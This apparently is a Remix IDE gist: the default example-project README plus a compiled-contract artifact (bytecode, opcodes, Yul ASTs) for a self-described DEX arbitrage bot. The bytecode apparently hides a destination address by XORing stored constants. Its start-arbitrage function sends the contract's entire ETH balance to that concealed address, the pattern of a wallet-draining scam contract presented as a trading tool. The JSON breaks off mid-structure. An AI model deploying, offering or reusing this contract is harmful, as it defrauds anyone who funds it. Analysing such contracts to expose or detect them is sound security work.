Skip to content

Instantly share code, notes, and snippets.

@rmclain
Created January 12, 2024 17:26
Show Gist options
  • Save rmclain/7484468aefc341434eb3b941a9aa9b90 to your computer and use it in GitHub Desktop.
Save rmclain/7484468aefc341434eb3b941a9aa9b90 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.7+commit.e28d00a7.js&optimize=true&runs=200&gist=
REMIX EXAMPLE PROJECT
Remix example project is present when Remix loads very first time or there are no files existing in the File Explorer.
It contains 3 directories:
1. 'contracts': Holds three contracts with different complexity level, denoted with number prefix in file name.
2. 'scripts': Holds two scripts to deploy a contract. It is explained below.
3. 'tests': Contains one test file for 'Ballot' contract with unit tests in Solidity.
SCRIPTS
The 'scripts' folder contains example async/await scripts for deploying the 'Storage' contract.
For the deployment of any other contract, 'contractName' and 'constructorArgs' should be updated (along with other code if required).
Scripts have full access to the web3.js and ethers.js libraries.
To run a script, right click on file name in the file explorer and click 'Run'. Remember, Solidity file must already be compiled.
Output from script will appear in remix terminal.
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {
"@_461": {
"entryPoint": null,
"id": 461,
"parameterSlots": 0,
"returnSlots": 0
},
"@getDexRouter_806": {
"entryPoint": null,
"id": 806,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_address__to_t_address__fromStack_reversed": {
"entryPoint": null,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:219:1",
"statements": [
{
"nodeType": "YulBlock",
"src": "6:3:1",
"statements": []
},
{
"body": {
"nodeType": "YulBlock",
"src": "115:102:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "125:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "137:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "148:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "133:3:1"
},
"nodeType": "YulFunctionCall",
"src": "133:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "125:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "167:9:1"
},
{
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "182:6:1"
},
{
"arguments": [
{
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "198:3:1",
"type": "",
"value": "160"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "203:1:1",
"type": "",
"value": "1"
}
],
"functionName": {
"name": "shl",
"nodeType": "YulIdentifier",
"src": "194:3:1"
},
"nodeType": "YulFunctionCall",
"src": "194:11:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "207:1:1",
"type": "",
"value": "1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "190:3:1"
},
"nodeType": "YulFunctionCall",
"src": "190:19:1"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "178:3:1"
},
"nodeType": "YulFunctionCall",
"src": "178:32:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "160:6:1"
},
"nodeType": "YulFunctionCall",
"src": "160:51:1"
},
"nodeType": "YulExpressionStatement",
"src": "160:51:1"
}
]
},
"name": "abi_encode_tuple_t_address__to_t_address__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "84:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "95:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "106:4:1",
"type": ""
}
],
"src": "14:203:1"
}
]
},
"contents": "{\n { }\n function abi_encode_tuple_t_address__to_t_address__fromStack_reversed(headStart, value0) -> tail\n {\n tail := add(headStart, 32)\n mstore(headStart, and(value0, sub(shl(160, 1), 1)))\n }\n}",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"linkReferences": {},
"object": "6080604052670de0b6b3a76400006002556658d15e176280006003556004805460ff191690557f6e75382374384e10a7b62f627958ee0106daa8f83ed4af1ef14080b90c587f846007557f6e75382374384e10a7b62f629791a1a3e6c171ac0dee4cfc2cba9b2481f9497d6008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220b2c97e84c19ee300a0b832bc335d012fb15c5b6ef29077696efc71bdf72d9ef264736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH8 0xDE0B6B3A7640000 PUSH1 0x2 SSTORE PUSH7 0x58D15E17628000 PUSH1 0x3 SSTORE PUSH1 0x4 DUP1 SLOAD PUSH1 0xFF NOT AND SWAP1 SSTORE PUSH32 0x6E75382374384E10A7B62F627958EE0106DAA8F83ED4AF1EF14080B90C587F84 PUSH1 0x7 SSTORE PUSH32 0x6E75382374384E10A7B62F629791A1A3E6C171AC0DEE4CFC2CBA9B2481F9497D PUSH1 0x8 SSTORE PUSH32 0x6E75382374384E10A7B62F6275685A1A7BA2EC89D03AAF46EE28682D66A044BC PUSH1 0x9 SSTORE CALLVALUE DUP1 ISZERO PUSH2 0x9D JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x0 DUP1 SLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB NOT AND CALLER OR DUP2 SSTORE PUSH1 0x7 SLOAD PUSH1 0x8 SLOAD PUSH2 0xBE SWAP2 XOR SWAP1 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH4 0xE2D73CCD PUSH1 0xE0 SHL DUP2 MSTORE ADDRESS PUSH1 0x4 DUP3 ADD MSTORE SWAP1 SWAP2 POP PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB DUP3 AND SWAP1 PUSH4 0xE2D73CCD SWAP1 PUSH1 0x24 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x102 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x116 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP PUSH2 0x367 DUP1 PUSH2 0x12A PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x59 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x2B42B941 EQ PUSH2 0x65 JUMPI DUP1 PUSH4 0x57EA89B6 EQ PUSH2 0x87 JUMPI DUP1 PUSH4 0x9763D29B EQ PUSH2 0x9C JUMPI DUP1 PUSH4 0xBEDF0F4A EQ PUSH2 0xBC JUMPI DUP1 PUSH4 0xEAF67AB9 EQ PUSH2 0xD8 JUMPI DUP1 PUSH4 0xF39D8C65 EQ PUSH2 0xE0 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST CALLDATASIZE PUSH2 0x60 JUMPI STOP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x71 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x85 PUSH2 0x80 CALLDATASIZE PUSH1 0x4 PUSH2 0x2F3 JUMP JUMPDEST PUSH1 0x6 SSTORE JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x93 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x85 PUSH2 0x107 JUMP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xA8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x85 PUSH2 0xB7 CALLDATASIZE PUSH1 0x4 PUSH2 0x2F3 JUMP JUMPDEST PUSH1 0x5 SSTORE JUMP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xC8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x85 PUSH1 0x4 DUP1 SLOAD PUSH1 0xFF NOT AND SWAP1 SSTORE JUMP JUMPDEST PUSH2 0x85 PUSH2 0x170 JUMP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xEC JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF5 PUSH2 0x178 JUMP JUMPDEST PUSH1 0x40 MLOAD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x0 SLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND CALLER EQ PUSH2 0x166 JUMPI PUSH1 0x40 MLOAD PUSH3 0x461BCD PUSH1 0xE5 SHL DUP2 MSTORE PUSH1 0x20 PUSH1 0x4 DUP3 ADD DUP2 SWAP1 MSTORE PUSH1 0x24 DUP3 ADD MSTORE PUSH32 0x4F776E61626C653A2063616C6C6572206973206E6F7420746865206F776E6572 PUSH1 0x44 DUP3 ADD MSTORE PUSH1 0x64 ADD JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST PUSH2 0x16E PUSH2 0x19D JUMP JUMPDEST JUMP JUMPDEST PUSH2 0x16E PUSH2 0x226 JUMP JUMPDEST PUSH1 0x3 SLOAD PUSH1 0x0 DUP1 SLOAD SWAP1 SWAP2 DUP3 SWAP2 PUSH2 0x197 SWAP2 SWAP1 PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND BALANCE PUSH2 0x30C JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 SLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND CALLER EQ PUSH2 0x1F7 JUMPI PUSH1 0x40 MLOAD PUSH3 0x461BCD PUSH1 0xE5 SHL DUP2 MSTORE PUSH1 0x20 PUSH1 0x4 DUP3 ADD DUP2 SWAP1 MSTORE PUSH1 0x24 DUP3 ADD MSTORE PUSH32 0x4F776E61626C653A2063616C6C6572206973206E6F7420746865206F776E6572 PUSH1 0x44 DUP3 ADD MSTORE PUSH1 0x64 ADD PUSH2 0x15D JUMP JUMPDEST PUSH1 0x40 MLOAD CALLER SWAP1 SELFBALANCE DUP1 ISZERO PUSH2 0x8FC MUL SWAP2 PUSH1 0x0 DUP2 DUP2 DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x223 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x235 PUSH1 0x8 SLOAD PUSH1 0x9 SLOAD XOR SWAP1 JUMP JUMPDEST SWAP1 POP PUSH1 0x0 PUSH2 0x246 PUSH1 0x7 SLOAD PUSH1 0x8 SLOAD XOR SWAP1 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH4 0xE26D7A7 PUSH1 0xE4 SHL DUP2 MSTORE CALLER PUSH1 0x4 DUP3 ADD MSTORE PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB DUP5 DUP2 AND PUSH1 0x24 DUP4 ADD MSTORE PUSH1 0x0 PUSH1 0x44 DUP4 ADD MSTORE SELFBALANCE PUSH1 0x64 DUP4 ADD MSTORE SWAP2 SWAP3 POP SWAP1 DUP3 AND SWAP1 PUSH4 0xE26D7A70 SWAP1 PUSH1 0x84 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x2A0 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x2B4 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP PUSH1 0x40 MLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB DUP6 AND SWAP3 POP SELFBALANCE DUP1 ISZERO PUSH2 0x8FC MUL SWAP3 POP SWAP1 PUSH1 0x0 DUP2 DUP2 DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x2EE JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x305 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP CALLDATALOAD SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 LT ISZERO PUSH2 0x32C JUMPI PUSH4 0x4E487B71 PUSH1 0xE0 SHL PUSH1 0x0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST POP SUB SWAP1 JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xB2 0xC9 PUSH31 0x84C19EE300A0B832BC335D012FB15C5B6EF29077696EFC71BDF72D9EF26473 PUSH16 0x6C634300080700330000000000000000 ",
"sourceMap": "6703:6356:0:-:0;;;6868:8;6848:28;;6904:11;6882:33;;6921:26;;;-1:-1:-1;;6921:26:0;;;7043:66;7026:83;;7706:66;7686:86;;9901:66;9883:84;;7273:182;;;;;;;;;-1:-1:-1;7300:6:0;:19;;-1:-1:-1;;;;;;7300:19:0;7309:10;7300:19;;;7366:6;;7374:9;;7353:31;;10649:46;;10517:187;7353:31;7394:50;;-1:-1:-1;;;7394:50:0;;7438:4;7394:50;;;160:51:1;7330:54:0;;-1:-1:-1;;;;;;7394:35:0;;;;;133:18:1;;7394:50:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7286:169;6703:6356;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@Key_988": {
"entryPoint": 376,
"id": 988,
"parameterSlots": 0,
"returnSlots": 1
},
"@SetTradeBalanceETH_943": {
"entryPoint": null,
"id": 943,
"parameterSlots": 1,
"returnSlots": 0
},
"@SetTradeBalancePERCENT_953": {
"entryPoint": null,
"id": 953,
"parameterSlots": 1,
"returnSlots": 0
},
"@StartNative_933": {
"entryPoint": 368,
"id": 933,
"parameterSlots": 0,
"returnSlots": 0
},
"@Stop_961": {
"entryPoint": null,
"id": 961,
"parameterSlots": 0,
"returnSlots": 0
},
"@Withdraw_970": {
"entryPoint": 263,
"id": 970,
"parameterSlots": 0,
"returnSlots": 0
},
"@_926": {
"entryPoint": null,
"id": 926,
"parameterSlots": 0,
"returnSlots": 0
},
"@getDexRouter_806": {
"entryPoint": null,
"id": 806,
"parameterSlots": 2,
"returnSlots": 1
},
"@recoverEth_895": {
"entryPoint": 413,
"id": 895,
"parameterSlots": 0,
"returnSlots": 0
},
"@startArbitrageNative_854": {
"entryPoint": 550,
"id": 854,
"parameterSlots": 0,
"returnSlots": 0
},
"abi_decode_tuple_t_uint256": {
"entryPoint": 755,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_address_t_address_t_address_t_uint256__to_t_address_t_address_t_address_t_uint256__fromStack_reversed": {
"entryPoint": null,
"id": null,
"parameterSlots": 5,
"returnSlots": 1
},
"abi_encode_tuple_t_stringliteral_9924ebdf1add33d25d4ef888e16131f0a5687b0580a36c21b5c301a6c462effe__to_t_string_memory_ptr__fromStack_reversed": {
"entryPoint": null,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": null,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"checked_sub_t_uint256": {
"entryPoint": 780,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1427:1",
"statements": [
{
"nodeType": "YulBlock",
"src": "6:3:1",
"statements": []
},
{
"body": {
"nodeType": "YulBlock",
"src": "84:110:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "130:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "139:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "142:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "132:6:1"
},
"nodeType": "YulFunctionCall",
"src": "132:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "132:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "105:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "114:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "101:3:1"
},
"nodeType": "YulFunctionCall",
"src": "101:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "126:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "97:3:1"
},
"nodeType": "YulFunctionCall",
"src": "97:32:1"
},
"nodeType": "YulIf",
"src": "94:52:1"
},
{
"nodeType": "YulAssignment",
"src": "155:33:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "178:9:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "165:12:1"
},
"nodeType": "YulFunctionCall",
"src": "165:23:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "155:6:1"
}
]
}
]
},
"name": "abi_decode_tuple_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "50:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "61:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "73:6:1",
"type": ""
}
],
"src": "14:180:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "384:271:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "394:27:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "406:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "417:3:1",
"type": "",
"value": "128"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "402:3:1"
},
"nodeType": "YulFunctionCall",
"src": "402:19:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "394:4:1"
}
]
},
{
"nodeType": "YulVariableDeclaration",
"src": "430:29:1",
"value": {
"arguments": [
{
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "448:3:1",
"type": "",
"value": "160"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "453:1:1",
"type": "",
"value": "1"
}
],
"functionName": {
"name": "shl",
"nodeType": "YulIdentifier",
"src": "444:3:1"
},
"nodeType": "YulFunctionCall",
"src": "444:11:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "457:1:1",
"type": "",
"value": "1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "440:3:1"
},
"nodeType": "YulFunctionCall",
"src": "440:19:1"
},
"variables": [
{
"name": "_1",
"nodeType": "YulTypedName",
"src": "434:2:1",
"type": ""
}
]
},
{
"expression": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "475:9:1"
},
{
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "490:6:1"
},
{
"name": "_1",
"nodeType": "YulIdentifier",
"src": "498:2:1"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "486:3:1"
},
"nodeType": "YulFunctionCall",
"src": "486:15:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "468:6:1"
},
"nodeType": "YulFunctionCall",
"src": "468:34:1"
},
"nodeType": "YulExpressionStatement",
"src": "468:34:1"
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "522:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "533:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "518:3:1"
},
"nodeType": "YulFunctionCall",
"src": "518:18:1"
},
{
"arguments": [
{
"name": "value1",
"nodeType": "YulIdentifier",
"src": "542:6:1"
},
{
"name": "_1",
"nodeType": "YulIdentifier",
"src": "550:2:1"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "538:3:1"
},
"nodeType": "YulFunctionCall",
"src": "538:15:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "511:6:1"
},
"nodeType": "YulFunctionCall",
"src": "511:43:1"
},
"nodeType": "YulExpressionStatement",
"src": "511:43:1"
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "574:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "585:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "570:3:1"
},
"nodeType": "YulFunctionCall",
"src": "570:18:1"
},
{
"arguments": [
{
"name": "value2",
"nodeType": "YulIdentifier",
"src": "594:6:1"
},
{
"name": "_1",
"nodeType": "YulIdentifier",
"src": "602:2:1"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "590:3:1"
},
"nodeType": "YulFunctionCall",
"src": "590:15:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "563:6:1"
},
"nodeType": "YulFunctionCall",
"src": "563:43:1"
},
"nodeType": "YulExpressionStatement",
"src": "563:43:1"
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "626:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "637:2:1",
"type": "",
"value": "96"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "622:3:1"
},
"nodeType": "YulFunctionCall",
"src": "622:18:1"
},
{
"name": "value3",
"nodeType": "YulIdentifier",
"src": "642:6:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "615:6:1"
},
"nodeType": "YulFunctionCall",
"src": "615:34:1"
},
"nodeType": "YulExpressionStatement",
"src": "615:34:1"
}
]
},
"name": "abi_encode_tuple_t_address_t_address_t_address_t_uint256__to_t_address_t_address_t_address_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "329:9:1",
"type": ""
},
{
"name": "value3",
"nodeType": "YulTypedName",
"src": "340:6:1",
"type": ""
},
{
"name": "value2",
"nodeType": "YulTypedName",
"src": "348:6:1",
"type": ""
},
{
"name": "value1",
"nodeType": "YulTypedName",
"src": "356:6:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "364:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "375:4:1",
"type": ""
}
],
"src": "199:456:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "834:182:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "851:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "862:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "844:6:1"
},
"nodeType": "YulFunctionCall",
"src": "844:21:1"
},
"nodeType": "YulExpressionStatement",
"src": "844:21:1"
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "885:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "896:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "881:3:1"
},
"nodeType": "YulFunctionCall",
"src": "881:18:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "901:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "874:6:1"
},
"nodeType": "YulFunctionCall",
"src": "874:30:1"
},
"nodeType": "YulExpressionStatement",
"src": "874:30:1"
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "924:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "935:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "920:3:1"
},
"nodeType": "YulFunctionCall",
"src": "920:18:1"
},
{
"hexValue": "4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572",
"kind": "string",
"nodeType": "YulLiteral",
"src": "940:34:1",
"type": "",
"value": "Ownable: caller is not the owner"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "913:6:1"
},
"nodeType": "YulFunctionCall",
"src": "913:62:1"
},
"nodeType": "YulExpressionStatement",
"src": "913:62:1"
},
{
"nodeType": "YulAssignment",
"src": "984:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "996:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1007:2:1",
"type": "",
"value": "96"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "992:3:1"
},
"nodeType": "YulFunctionCall",
"src": "992:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "984:4:1"
}
]
}
]
},
"name": "abi_encode_tuple_t_stringliteral_9924ebdf1add33d25d4ef888e16131f0a5687b0580a36c21b5c301a6c462effe__to_t_string_memory_ptr__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "811:9:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "825:4:1",
"type": ""
}
],
"src": "660:356:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1122:76:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1132:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1144:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1155:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1140:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1140:18:1"
},
"variableNames": [
{
"name": "tail",
